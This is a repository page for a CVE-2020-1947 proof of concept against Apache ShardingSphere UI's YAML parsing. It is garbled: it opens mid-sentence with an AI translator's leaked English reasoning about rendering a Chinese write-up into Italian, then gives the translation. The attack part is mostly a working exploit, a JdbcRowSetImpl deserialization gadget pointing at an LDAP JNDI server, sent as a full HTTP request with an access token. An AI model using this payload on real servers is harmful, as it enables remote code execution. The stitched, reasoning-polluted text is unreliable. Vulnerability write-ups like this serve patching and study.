starkchristmas/cve-2020-1947Proof-of-concept e analisi per CVE-2020-1947, una vulnerabilità di esecuzione remota di codice tramite deserializzazione YAML in Apache ShardingSphere UI, inclusi passaggi di riproduzione e indicazioni per la correzione.
" — the block ends with ``` and then " response" after? Let me re-read the input:
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true"
}
Response
HTTP/1.1 200
...
Yes. So after the code fence, there's a line "Response" then code fence. I'll mirror that.
At the very end:
## 修复方案
目前，Apache官方已发布新的版本4.1.0，请尽快升级到官方最新版本。
https://github.com/apache/incubator-shardingsphere/releases
Good.
Now, about preserving markdown exactly: the code blocks use fences. I need to ensure I don't add or remove anything. The JSON block starts with and then a newline then JSON. Keep.
One consideration: the title line. The original: # CVE-2020-1947 ApacheShardingShpereUIYAML解析远程代码执行漏洞复现及分析. There's no space between CVE ID and the name. I'll translate to something like:
# CVE-2020-1947 ApacheShardingShpereUIYAML: riproduzione e analisi della vulnerabilità di esecuzione remota di codice nel parsing YAML
Hmm, "解析" (parsing) is part of "UIYAML解析" — the YAML parsing of the UI. So more natural: "vulnerabilità di esecuzione remota di codice nel parsing YAML dell'interfaccia Apache ShardingSphere". But that would restructure the identifier. I think a good compromise:
# CVE-2020-1947 ApacheShardingShpereUIYAML – riproduzione e analisi della vulnerabilità di esecuzione remota di codice dovuta al parsing YAML
Or keep it closer to original word order: "ApacheShardingShpereUIYAML parsing 远程代码执行漏洞复现及分析" → "Riproduzione e analisi della vulnerabilità di esecuzione remota di codice nel parsing di ApacheShardingShpereUIYAML".
I'll go with: # CVE-2020-1947 ApacheShardingShpereUIYAML: riproduzione e analisi della vulnerabilità di esecuzione remota di codice nel parsing YAML.
That reads well in Italian and keeps the identifier intact.
Actually, wait — should "复现及分析" be "riproduzione e analisi" or "replica e analisi"? "复现" in vuln writeups = "reproduction/replication". "Riproduzione" is good.
Section "分析环境" → "Ambiente di analisi".
"Poc" — I'll keep as "PoC"? No, preserve exactly "Poc". The rules say preserve markdown and don't modify. "Poc" is natural language text technically (it's a label), but it's a standard term. I'll keep "Poc" unchanged since it's a technical term. Actually it's a heading-ish label line. I'd translate? No — "Poc" is the same in Italian. Keep.
Now the "受影响版本" section content: "ShardingSphere 4.0.0-RC3, 4.0.0 " — the full-width space at the end, I should preserve it. It's a formatting detail. Keep.
"sharding-jdbc,sharding-proxy,sharding-ui等组件" → "Componenti: sharding-jdbc, sharding-proxy, sharding-ui" or "componenti come sharding-jdbc, sharding-proxy, sharding-ui". I'll write "sharding-jdbc, sharding-proxy, sharding-ui e altri componenti". Hmm "等组件" = "and other components". So: "Componenti come sharding-jdbc, sharding-proxy, sharding-ui, ecc."
Let me finalize the full translation:
# CVE-2020-1947 ApacheShardingShpereUIYAML: riproduzione e analisi della vulnerabilità di esecuzione remota di codice nel parsing YAML
## Panoramica
ShardingSphere è un ecosistema open source di Apache, un insieme di soluzioni middleware per database distribuiti, composto da tre framework indipendenti tra loro: sharding-jdbc, sharding-proxy e sharding-sidecar. Viene utilizzato per fornire sharding dei dati, transazioni distribuite e governance dei database.
## Versioni interessate
ShardingSphere 4.0.0-RC3, 4.0.0
Componenti quali sharding-jdbc, sharding-proxy, sharding-ui
## Ambiente di analisi
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231" Java(TM) SE Runtime Environment (build 1.8.0_231-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
## Analisi della vulnerabilità
La console web di ShardingSphere utilizza la libreria snakeyaml per analizzare l'input YAML e caricare la configurazione delle origini dati. snakeyaml consente a unmarshal di analizzare e deserializzare senza che venga effettuata alcuna validazione.
unmarshal() passa direttamente il contenuto al metodo load() di yaml.snakeyaml per l'analisi.
A questo punto, se a unmarshal viene passato un contenuto YAML serializzato malevolo, si ottiene una RCE.
## Riproduzione della vulnerabilità
git clone https://github.com/HexChristmas/CVE-2020-1947 cd CVE-2020-1947 docker-compose.yml
Poc
{"name":"CVE-2020-1947",...}
Request
POST /api/schema HTTP/1.1 ...
Response
HTTP/1.1 200 ...
## Soluzione
Attualmente, Apache ha rilasciato la nuova versione 4.1.0: si consiglia di aggiornare quanto prima all'ultima versione ufficiale.
https://github.com/apache/incubator-shardingsphere/releases
Wait — about the "Poc" line: it's plain text between code fences, and the line "Request" and "Response" are also plain text labels. These are natural-language-ish labels. In Italian, "Request" → "Richiesta", "Response" → "Risposta"? Hmm. Strictly, the instruction says translate only natural language text; "Request"/"Response" are English words used as section labels. Since source is Chinese document with English HTTP terminology, translating to "Richiesta"/"Risposta" seems reasonable and more idiomatic. But they could also be considered technical labels. In Kitploit-style translations, these small section labels within reproduction steps are usually translated. I'll translate them: "Poc" stays (universal), "Request" → "Richiesta", "Response" → "Risposta".
Hmm, but should I translate "Poc"? It's an abbreviation for Proof of Concept, same in Italian. Keep.
Now regarding "不而被校验" — the original sentence is malformed: "snakeyaml允许unmarshal在不而被校验就可以进行解析并进行反序列化". Likely intened "在不被校验的情况下" = "without being validated". My translation handles that.
Also "unmarshal传要一个恶意yaml序列化内容" — "传要" likely "传入" = "pass in". My translation: "se a unmarshal viene passato un contenuto YAML serializzato malevolo" — good.
Let me verify the code blocks once more for exact copying. The PoC JSON:
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
The request block — huge. I must copy it exactly character for character. Let me be careful with the base64 blob. I'll copy from the input directly.
Also there's a subtle point: in the request block, the Access-Token line contains the base64 with escaped unicode like \u003c etc. Preserve exactly.
The "Content-Type" and other headers — preserve.
Response block:
HTTP/1.1 200
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Access-Token
Content-Type: application/json;charset=UTF-8
Date: Wed, 11 Mar 2020 02:49:39 GMT
Connection: close
Content-Length: 97
{"success":false,"errorCode":400,"errorMsg":"data source configuration is invalid.","model":null}
Good.
One more check: "分析环境" section has two separate code blocks. Preserve both with empty line between.
Also note: the title in the original is # CVE-2020-1947 ApacheShardingShpereUIYAML解析远程代码执行漏洞复现及分析. I'll add a colon or dash separator. The rules say preserve markdown structure; adding a punctuation separator for readability within a heading is acceptable in translation. Headings must be translated but keep # .
Let me write the final output now. I must not wrap in code fences, no preamble.
Double-check Italian grammar: "ShardingSphere è un ecosistema open source di Apache" — could also be "fa parte dell'ecosistema open source di Apache". Fine.
"Viene utilizzato per fornire sharding dei dati, transazioni distribuite e governance dei database." Good.
"Componenti quali sharding-jdbc, sharding-proxy, sharding-ui" — good.
"## Versioni interessate" — "Affected versions" → "Versioni interessate" is idiomatic in Italian security writeups. Alternatively "Versioni vulnerabili". I'll use "Versioni interessate".
"## Ambiente di analisi" — good.
"## Analisi della vulnerabilità" — good.
"## Riproduzione della vulnerabilità" — good.
"## Soluzione" — good. Or "## Misure di mitigazione" — but the content is "upgrade to patched version", so "Soluzione" fits.
Sentence: "Attualmente, Apache ha rilasciato la nuova versione 4.1.0: si consiglia di aggiornare quanto prima all'ultima versione ufficiale." Good.
Now assemble everything precisely. I need to make sure blank lines are preserved as in the original.
Original structure:
Line 1: # title
Line 2: ## 概述
Line 3: paragraph
Line 4: ## 受影响版本
Line 5: ShardingSphere 4.0.0-RC3, 4.0.0
Line 6: sharding-jdbc,...components
Line 7: ## 分析环境
Line 8: Line 9: Apache-shardingsphere-incubating-4.0.0 Line 10:
Line 11: Line 12: java version ... ... Line 17:
Line 18: ## 漏洞分析
Line 19: paragraph
Line 20: 
Line 21: unmarshal()...
Line 22: 
Line 23: 此时...
Line 24: ## 漏洞复现
Line 25: Line 26: git clone... Line 27: cd ... Line 28: docker-compose.yml Line 29:
Line 30: Poc
Line 31: Line 32: {"name":...} Line 33:
Line 34: Request
Line 35: Line 36: POST /api/schema... ... Line 65: } Line 66:
Line 67: Response
Line 68: Line 69: HTTP/1.1 200 ... Line 77: {"success":...} Line 78:
Line 79: 
Line 80: ## 修复方案
Line 81: paragraph
Line 82: (blank)
Line 83: URL
The user's input text had some leading whitespace/variations but I'll mirror the structure.
Also, the blank line before "docker-compose.yml" in the git block? The original shows:
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
There's no blank line. Copy as-is.
Now, regarding the huge Access-Token — I need to carefully transcribe it. Let me copy it from the input verbatim. It's very long; I'll copy the entire string.
I'll now produce the final answer.# CVE-2020-1947 ApacheShardingShpereUIYAML: riproduzione e analisi della vulnerabilità di esecuzione remota di codice nel parsing YAML
ShardingSphere è un ecosistema open source di Apache, un insieme di soluzioni middleware per database distribuiti, composto da tre framework indipendenti tra loro: sharding-jdbc, sharding-proxy e sharding-sidecar. Viene utilizzato per fornire sharding dei dati, transazioni distribuite e governance dei database.
ShardingSphere 4.0.0-RC3, 4.0.0 Componenti quali sharding-jdbc, sharding-proxy, sharding-ui
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
La console web di ShardingSphere utilizza la libreria snakeyaml per analizzare l'input YAML e caricare la configurazione delle origini dati. snakeyaml consente a unmarshal di analizzare e deserializzare senza che venga effettuata alcuna validazione.
unmarshal() passa direttamente il contenuto al metodo load() di yaml.snakeyaml per l'analisi.
A questo punto, se a unmarshal viene passato un contenuto YAML serializzato malevolo, si ottiene una RCE.
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
Poc
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Request
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiamF2YS5sYW5nLkRvdWJsZSI6e30sImphdmEudXRpbC5NYXBcdTAwM2Njb20uZ29vZ2xlLmdzb24ucmVmbGVjdC5UeXBlVG9rZW5cdTAwM2M/XHUwMDNlLCBjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuT2JqZWN0VHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlclx1MDAzYz9cdTAwM2UiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiamF2YS5sYW5nLlN0cmluZyI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMwIjp7fSwiY29tLmdvb2dsZS5nc29uLkZpZWxkTmFtaW5nUG9saWN5JDEiOnt9LCJvcmcuYXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NCI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSQxIjp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlRpbWVUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeVx1MDAzZSI6e30sImphdmEubGFuZy5CeXRlIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5TcWxEYXRlVHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkpzb25BZGFwdGVyQW5ub3RhdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk1hcFR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImJ5dGUiOnt9LCJieXRlW10iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjamF2YS5sYW5nLnJlZmxlY3QuVHlwZSwgY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2VcdTAwM2UiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkdzb24iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5EYXRlVHlwZUFkYXB0ZXIkMSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImludCI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMzIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiZG91YmxlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuRXhjbHVkZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19
Referer: http://10.10.20.166:8089/
Content-Length: 595
Connection: close
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true"
}
Response
HTTP/1.1 200
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Access-Token
Content-Type: application/json;charset=UTF-8
Date: Wed, 11 Mar 2020 02:49:39 GMT
Connection: close
Content-Length: 97
{"success":false,"errorCode":400,"errorMsg":"data source configuration is invalid.","model":null}
Attualmente, Apache ha rilasciato la nuova versione 4.1.0: si consiglia di aggiornare quanto prima all'ultima versione ufficiale.